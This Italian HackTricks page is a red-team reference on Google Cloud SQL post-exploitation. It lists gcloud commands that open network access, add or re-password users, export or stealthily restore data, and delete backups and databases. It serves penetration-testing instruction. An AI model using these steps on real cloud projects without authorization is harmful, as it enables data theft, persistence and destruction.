GCP - Cloud SQL Post Exploitation
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Cloud SQL
Per ulteriori informazioni su Cloud SQL controlla:
cloudsql.instances.update
, ( cloudsql.instances.get
)
Per connettersi ai database è sufficiente avere accesso alla porta del database e conoscere il nome utente e la password, non ci sono requisiti IAM. Quindi, un modo semplice per ottenere accesso, supponendo che il database abbia un indirizzo IP pubblico, è aggiornare le reti consentite e permettere al proprio indirizzo IP di accedervi.
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet
mysql -h <ip_db> # If mysql
# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
È anche possibile utilizzare --no-backup
per interrompere i backup del database.
Poiché questi sono i requisiti, non sono completamente sicuro a cosa servano i permessi cloudsql.instances.connect
e cloudsql.instances.login
. Se lo sai, invia una PR!
cloudsql.users.list
Ottieni un elenco di tutti gli utenti del database:
gcloud sql users list --instance <intance-name>
cloudsql.users.create
Questo permesso consente di creare un nuovo utente all'interno del database:
gcloud sql users create <username> --instance <instance-name> --password <password>
cloudsql.users.update
Questo permesso consente di aggiornare l'utente all'interno del database. Ad esempio, potresti cambiare la sua password:
gcloud sql users set-password <username> --instance <instance-name> --password <password>
cloudsql.instances.restoreBackup
, cloudsql.backupRuns.get
I backup potrebbero contenere vecchie informazioni sensibili, quindi è interessante controllarli.
Ripristina un backup all'interno di un database:
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
Per farlo in modo più furtivo, è consigliato creare una nuova istanza SQL e recuperare i dati lì invece che nei database attualmente in esecuzione.
cloudsql.backupRuns.delete
Questo permesso consente di eliminare i backup:
gcloud sql backups delete <backup-id> --instance <instance-id>
cloudsql.instances.export
, storage.objects.create
Esporta un database in un Cloud Storage Bucket in modo da poterlo accedere da lì:
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
cloudsql.instances.import
, storage.objects.get
Importa un database (sovrascrivi) da un Cloud Storage Bucket:
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
cloudsql.databases.delete
Elimina un database dall'istanza db:
gcloud sql databases delete <db-name> --instance <instance-id>
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.